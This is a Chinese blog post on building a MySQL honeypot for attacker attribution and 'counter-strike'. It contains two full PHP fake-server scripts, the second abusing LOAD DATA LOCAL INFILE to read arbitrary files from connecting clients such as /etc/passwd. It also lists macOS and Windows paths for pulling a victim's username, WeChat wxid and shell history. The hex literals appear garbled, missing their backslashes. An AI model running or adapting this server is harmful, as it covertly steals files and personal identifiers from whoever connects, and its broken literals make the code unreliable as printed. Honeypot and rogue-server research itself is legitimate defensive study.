点击上方蓝字关注我们~
前言
-
随着网络安全技术的发展,越来越多的攻击手段层出不穷。传统的网络安全防御手段只是被动的防御,无法对未知网络攻击进行主动感知和响应,而蜜罐技术正是一种有效而且简单的主动防御手段。蜜罐技术能够伪装真实的网络资产环境对黑客进行诱骗,手机攻击者对蜜罐系统的各种操作和尝试数据,并且能够主动收集攻击者的相关信息,例如通过JSONP获取用户的社交账号信息等。这样我们在遭受到网络攻击时候可以及时发现潜在未知的攻击手段以及Payload,同时也获取了攻击者的有关信息构建攻击者画像便于后续溯源工作,甚至蜜罐系统能够对攻击者进行反制。本文主要是研究MYSQL蜜罐的基本实现原理,浅析MYSQL蜜罐在溯源反制中的利用。
实现原理
MYSQL数据包结构
-
MYSQL数据包的结构比较直观,前三个字节是记录
Payload
的长度,最大长度为FF FF FF
,第四个字节为消息序号。
|
payload_length |
|
|
sequence_id |
|
|
payload |
|
MYSQL认证过程
-
关于MYSQL认证过程主要以
Navicat
认证来分析过程。 -
通过
wireshark
可以看到在与MYSQL服务器简历TCP连接后服务器会向客户端发送Greeting数据包提供服务器版本等信息. -
Geeting数据包
|
payload_length |
|
|
sequence_id |
|
|
payload |
|
|
protocol |
|
|
version |
|
|
thread_id |
|
|
salt |
|
|
caps.server |
|
|
server_language |
|
|
server_status |
|
|
||
|
salt |
|
-
然后是客户端向服务器发送登陆数据包,主要是用户名和密码以及客户端插件信息等等。
-
在服务端校验密码通过之后会返回OK包告诉客户端验证完成。
-
客户端请求执行
SET NAMES utf8mb4
在设置完成后服务端同样会返回OK包,这里需要注意的一点是这里的OK包Packet Number不能与校验登陆返回的OK包一样,否则无法进行下一步。 -
然后客户端会要求查询系统变量。
-
服务端执行完毕后返回系统变量结果。
-
客户端获取到系统变量的结果后会请求获取数据库列表
-
服务端在执行完毕后会将数据库列表返回:
-
至此
Navicat
连接MYSQL数据的过程基本分析基本流程我们可以简化如下:
![溯源反制-MYSQL蜜罐]()
模拟服务端编写
通过Navicat
校验
Navicat
登陆验证。
-
模拟代码:
<?php
error_reporting(0);
set_time_limit(0);
$address = "0.0.0.0";
$port = 3306;
define("VERSION","x4ax00x00x00x0ax35x2ex37x2ex32x38x00x02x00x00x00x5cx31x01x33x7dx09x65x7ax00xffxffxc0x02x00xffxc1x15x00x00x00x00x00x00x00x00x00x00x1bx1cx55x27x71x59x25x3ax2cx6dx2ex2dx00x6dx79x73x71x6cx5fx6ex61x74x69x76x65x5fx70x61x73x73x77x6fx72x64x00");
define("LOGINSUCESS","x07x00x00x02x00x00x00x02x00x00x00");
define("VARIABLES","x01x00x00x01x02x52x00x00x02x03x64x65x66x00x11x73x65x73x73x69x6fx6ex5fx76x61x72x69x61x62x6cx65x73x11x73x65x73x73x69x6fx6ex5fx76x61x72x69x61x62x6cx65x73x0dx56x61x72x69x61x62x6cx65x5fx6ex61x6dx65x0dx56x61x72x69x61x62x6cx65x5fx6ex61x6dx65x0cx2dx00x00x01x00x00xfdx01x10x00x00x00x42x00x00x03x03x64x65x66x00x11x73x65x73x73x69x6fx6ex5fx76x61x72x69x61x62x6cx65x73x11x73x65x73x73x69x6fx6ex5fx76x61x72x69x61x62x6cx65x73x05x56x61x6cx75x65x05x56x61x6cx75x65x0cx2dx00x00x10x00x00xfdx00x00x00x00x00x05x00x00x04xfex00x00x22x00x1ax00x00x05x16x6cx6fx77x65x72x5fx63x61x73x65x5fx66x69x6cx65x5fx73x79x73x74x65x6dx02x4fx4ex19x00x00x06x16x6cx6fx77x65x72x5fx63x61x73x65x5fx74x61x62x6cx65x5fx6ex61x6dx65x73x01x32x05x00x00x07xfex00x00x22x00");
define("DBLIST","x01x00x00x01x01x4bx00x00x02x03x64x65x66x12x69x6ex66x6fx72x6dx61x74x69x6fx6ex5fx73x63x68x65x6dx61x08x53x43x48x45x4dx41x54x41x08x53x43x48x45x4dx41x54x41x08x44x61x74x61x62x61x73x65x0bx53x43x48x45x4dx41x5fx4ex41x4dx45x0cx2dx00x00x01x00x00xfdx01x00x00x00x00x05x00x00x03xfex00x00x22x00x13x00x00x04x12x69x6ex66x6fx72x6dx61x74x69x6fx6ex5fx73x63x68x65x6dx61x06x00x00x05x05x6dx79x73x71x6cx06x00x00x06x05x70x61x70x65x72x13x00x00x07x12x70x65x72x66x6fx72x6dx61x6ex63x65x5fx73x63x68x65x6dx61x07x00x00x08x06x73x63x68x6fx6fx6cx04x00x00x09x03x73x79x73x05x00x00x0axfex00x00x22x00");
define("OK","x07x00x00x01x00x00x00x02x00x00x00");
function initSocket($address,$port){
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP) or die(socket_strerror(socket_last_error()));
socket_set_block($sock) or die( socket_strerror(socket_last_error()));//阻塞模式
$result = socket_bind($sock, $address, $port) or die(socket_strerror(socket_last_error()));//绑定端口
$result = socket_listen($sock, 4) or die(socket_strerror(socket_last_error()));//开始监听
echo "Listening:$address:$portn";
return $sock;
}
function closeSocket($sock){
socket_close($sock);
}
function creatMessage($sock){
$msgsock = socket_accept($sock);//or die( socket_strerror(socket_last_error()));
return $msgsock;
}
function closeMessage($msgsock){
socket_close($msgsock);
}
function readBuff($msgsock){
try{
$buf = socket_read($msgsock, 8192);
return $buf;
}catch (Exception $e) {
echo $e->getMessage();
return false;
}
}
function sendBuff($msgsock,$msg){
try{
socket_write($msgsock, $msg, strlen($msg));
}catch (Exception $e) {
echo $e->getMessage();
}
}
$sock = initSocket($address,$port);
do{
$msgsock = creatMessage($sock);
sendBuff($msgsock,VERSION);
while($content = readBuff($msgsock)){
if(preg_match("/0000000000000000000000000000000000000000000000(.*)0014[a-zA-Z0-9]{0,40}/is",bin2hex($content))){
sendBuff($msgsock,LOGINSUCESS);
}elseif(strpos($content,"SET NAMES utf8")) {
sendBuff($msgsock,OK);
}elseif(strpos($content,"SHOW VARIABLES")){
sendBuff($msgsock,VARIABLES);
}elseif(strpos($content,"SHOW DATABASES")){
sendBuff($msgsock,DBLIST);
closeMessage($msgsock);
}
}
}while(True);
?>
通过FSCAN校验
-
这时候我们一个具备基本验证功能的
FAKE MYSQL SERVER
基本完成,但是这时候存在一个问题是,我们的FAKE MYSQL SERVER
是无法通过扫描器校验的,我们以Fscan
为例扫描虽然能发现开放了3306端口但是并没有发现弱口令,如果我们作为蜜罐是期望攻击者使用Navicat
去连接而后对攻击者溯源的话我们就需要扫描器快速发现弱口令。 -
我们使用正常的MYSQL SERVER来与FSCAN通信,研究FSCAN与MYSQL通信校验的原理。
-
我们通过Wirshark抓包发现FSCAN与
Navicat
认证不同在于,在执行完SET NAMES utf8mb4
后FSCAN不会再请求系统变量以及后续请求数据库列表而是直接请求Ping数据包来检测服务器状态。
FSCAN
的特性对代码进行修改,即可让FSCAN检测到弱口令,当然不同扫描器的检测方式不同可以根据具体情况添加功能。
LOAD DATA INFILE
show global variables like 'local_infile';
set global local_infile=1;
-
该语句的基本语法如下:
LOAD DATA [LOW_PRIORITY | CONCURRENT] [LOCAL] INFILE 'file_name'
[REPLACE | IGNORE]
INTO TABLE tbl_name
[PARTITION (partition_name,...)]
[CHARACTER SET charset_name]
[{FIELDS | COLUMNS}
[TERMINATED BY 'string']
[[OPTIONALLY] ENCLOSED BY 'char']
[ESCAPED BY 'char']
]
[LINES
[STARTING BY 'string']
[TERMINATED BY 'string']
]
[IGNORE number {LINES | ROWS}]
[(col_name_or_user_var,...)]
[SET col_name = expr,...]
-
我们通过该语句加载本地文件,而后抓包分析
LOAD DATA INFILE
.
load data local infile '/etc/passwd' into table sys_config fields terminated by 'n';
-
我们可以发现在请求
load data
语句后,服务器会返回一个Response TABULAR
数据包来请求客户端读取本地文件。也就是说通过load data
读取文件是服务端请求客户端读取文件,而不是客户端主动读取文件后发往服务端。那么假设我们伪造服务器向客户端请求读取这个文件是否可以读取到客户端计算机中的任意文件呢?答案是可以的,这是由于在MySQL
协议中,客户端本身不存储自身的请求,而是通过服务端的响应来执行操作的。 -
Response TABULAR
数据包比较简单,就是普通的MYSQL数据包,payload就是文件路径但是前面要加上xfb
作为标志位。
|
payload_length |
|
|
sequence_id |
|
|
flag |
xFb |
|
fpath |
|
-
我们直接构建读取文件数据包
$msg = chr(strlen($fpath)+1) . "x00x00x01xFB".$fpath;
-
如果要读取文件我们必须要在客户端发送一条
Query
包后才能读取文件。首先我们的蜜罐必须保留扫描器扫描认证的功能,那么我们不能在发送`SET NAMES utf8mb4
时候请求文件。我们可以选择在Navicat
请求数据库列表时候要求读取文件。那么修改代码如下:
<?php
error_reporting(0);
set_time_limit(0);
$address = "0.0.0.0";
$port = 3306;
define("VERSION","x4ax00x00x00x0ax35x2ex37x2ex32x38x00x02x00x00x00x5cx31x01x33x7dx09x65x7ax00xffxffxc0x02x00xffxc1x15x00x00x00x00x00x00x00x00x00x00x1bx1cx55x27x71x59x25x3ax2cx6dx2ex2dx00x6dx79x73x71x6cx5fx6ex61x74x69x76x65x5fx70x61x73x73x77x6fx72x64x00");
define("LOGINSUCESS","x07x00x00x02x00x00x00x02x00x00x00");
define("VARIABLES","x01x00x00x01x02x52x00x00x02x03x64x65x66x00x11x73x65x73x73x69x6fx6ex5fx76x61x72x69x61x62x6cx65x73x11x73x65x73x73x69x6fx6ex5fx76x61x72x69x61x62x6cx65x73x0dx56x61x72x69x61x62x6cx65x5fx6ex61x6dx65x0dx56x61x72x69x61x62x6cx65x5fx6ex61x6dx65x0cx2dx00x00x01x00x00xfdx01x10x00x00x00x42x00x00x03x03x64x65x66x00x11x73x65x73x73x69x6fx6ex5fx76x61x72x69x61x62x6cx65x73x11x73x65x73x73x69x6fx6ex5fx76x61x72x69x61x62x6cx65x73x05x56x61x6cx75x65x05x56x61x6cx75x65x0cx2dx00x00x10x00x00xfdx00x00x00x00x00x05x00x00x04xfex00x00x22x00x1ax00x00x05x16x6cx6fx77x65x72x5fx63x61x73x65x5fx66x69x6cx65x5fx73x79x73x74x65x6dx02x4fx4ex19x00x00x06x16x6cx6fx77x65x72x5fx63x61x73x65x5fx74x61x62x6cx65x5fx6ex61x6dx65x73x01x32x05x00x00x07xfex00x00x22x00");
define("DBLIST","x01x00x00x01x01x4bx00x00x02x03x64x65x66x12x69x6ex66x6fx72x6dx61x74x69x6fx6ex5fx73x63x68x65x6dx61x08x53x43x48x45x4dx41x54x41x08x53x43x48x45x4dx41x54x41x08x44x61x74x61x62x61x73x65x0bx53x43x48x45x4dx41x5fx4ex41x4dx45x0cx2dx00x00x01x00x00xfdx01x00x00x00x00x05x00x00x03xfex00x00x22x00x13x00x00x04x12x69x6ex66x6fx72x6dx61x74x69x6fx6ex5fx73x63x68x65x6dx61x06x00x00x05x05x6dx79x73x71x6cx06x00x00x06x05x70x61x70x65x72x13x00x00x07x12x70x65x72x66x6fx72x6dx61x6ex63x65x5fx73x63x68x65x6dx61x07x00x00x08x06x73x63x68x6fx6fx6cx04x00x00x09x03x73x79x73x05x00x00x0axfex00x00x22x00");
define("OK","x07x00x00x01x00x00x00x02x00x00x00");
function initSocket($address,$port){
$sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP) or die(socket_strerror(socket_last_error()));
socket_set_block($sock) or die( socket_strerror(socket_last_error()));//阻塞模式
$result = socket_bind($sock, $address, $port) or die(socket_strerror(socket_last_error()));//绑定端口
$result = socket_listen($sock, 4) or die(socket_strerror(socket_last_error()));//开始监听
echo "Listening:$address:$portn";
return $sock;
}
function closeSocket($sock){
socket_close($sock);
}
function creatMessage($sock){
$msgsock = socket_accept($sock);//or die( socket_strerror(socket_last_error()));
return $msgsock;
}
function closeMessage($msgsock){
socket_close($msgsock);
}
function readBuff($msgsock){
try{
$buf = socket_read($msgsock, 8192);
return $buf;
}catch (Exception $e) {
echo $e->getMessage();
return false;
}
}
function sendBuff($msgsock,$msg){
try{
socket_write($msgsock, $msg, strlen($msg));
}catch (Exception $e) {
echo $e->getMessage();
}
}
function getFile($msgsock,$fpath){
$msg = chr(strlen($fpath)+1) . "x00x00x01xFB".$fpath;
sendBuff($msgsock,$msg);
}
function getUserIP($msgsock){
socket_getpeername($msgsock, $addr, $por);
return $addr;
}
$sock = initSocket($address,$port);
do{
$msgsock = creatMessage($sock);
sendBuff($msgsock,VERSION);
echo sprintf("ClientIP:%sn",getUserIP($msgsock));
while($content = readBuff($msgsock)){
if(preg_match("/0000000000000000000000000000000000000000000000(.*)0014[a-zA-Z0-9]{0,40}/is",bin2hex($content))){
sendBuff($msgsock,LOGINSUCESS);
}elseif(strpos($content,"SET NAMES utf8")) {
sendBuff($msgsock,OK);
}elseif(strpos($content,"SHOW VARIABLES")){
sendBuff($msgsock,VARIABLES);
}elseif(strpos($content,"SHOW DATABASES")){
getFile($msgsock,"/etc/passwd");
echo readBuff($msgsock);
closeMessage($msgsock);
}else{
sendBuff($msgsock,OK);
closeMessage($msgsock);
}
}
}while(True);
closeSocket($sock);
?>
-
在双击打开该服务器连接时候即可直接读取MAC上的
/etc/passwd
-
同时该
FAKE MYSQL SERVER
也可以被FSCAN
检测到
溯源中的利用
FAKE MYSQL SERVER
来溯源反制呢?MAC中的溯源
获取用户ID
/var/log/system.log
获取用户WXID
-
一般来说获取到用户ID后可以通过该用户ID进行溯源,或者获取微信的wxid研究发现在MAC的微信文件夹下存在这么一个路径存储着微信的wxid,我们直接获取可以得到wxid
/Users/{用户名}/Library/Containers/com.tencent.xinWeChat/Data/Library/Application Support/com.tencent.xinWeChat/2.0b4.0.9/topinfo.data
-
获取到wxid后可以通过以下方式直接加他好友:
-
weixin://contacts/profile/
方法已经失效
weixin://findfriend/verifycontact/
获取用户zsh_history或者bash_history
.bash_history
或者.zsh_history
近期命令操作可能能获取到一些敏感信息/Users/{用户名}/.bash_history
/Users/{用户名}/.zsh_history
Windows 中的溯源
获取用户ID
-
在使用过一段时间的Windows中的
C:WindowsPFRO.log
可能能够获取到用户ID具体获取操作与MAC类似
获取用户WXID
C:Users{用户名}DocumentsWeChat FilesAll Usersconfigconfig.data
MYSQL蜜罐的识别
通过Salt识别
Greeting Packet
中需要关注的字段Salt存在二十个字符。在我们的蜜罐中是Salt是固定不变的,因此我们在识别MYSQL蜜罐时候可以检测Salt是否每次都变化来鉴别是否是蜜罐,当然我们对抗检测可以随机生成字符来逃避检测。
通过TheadID识别
TheadID
是否变化或者变化速度来检测。通过密码验证来识别
实现源码
-
PHP简陋实现的MYSQL任意文件读取
参考
-
https://lightless.me/archives/read-mysql-client-file.html
点个在看你最好看
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论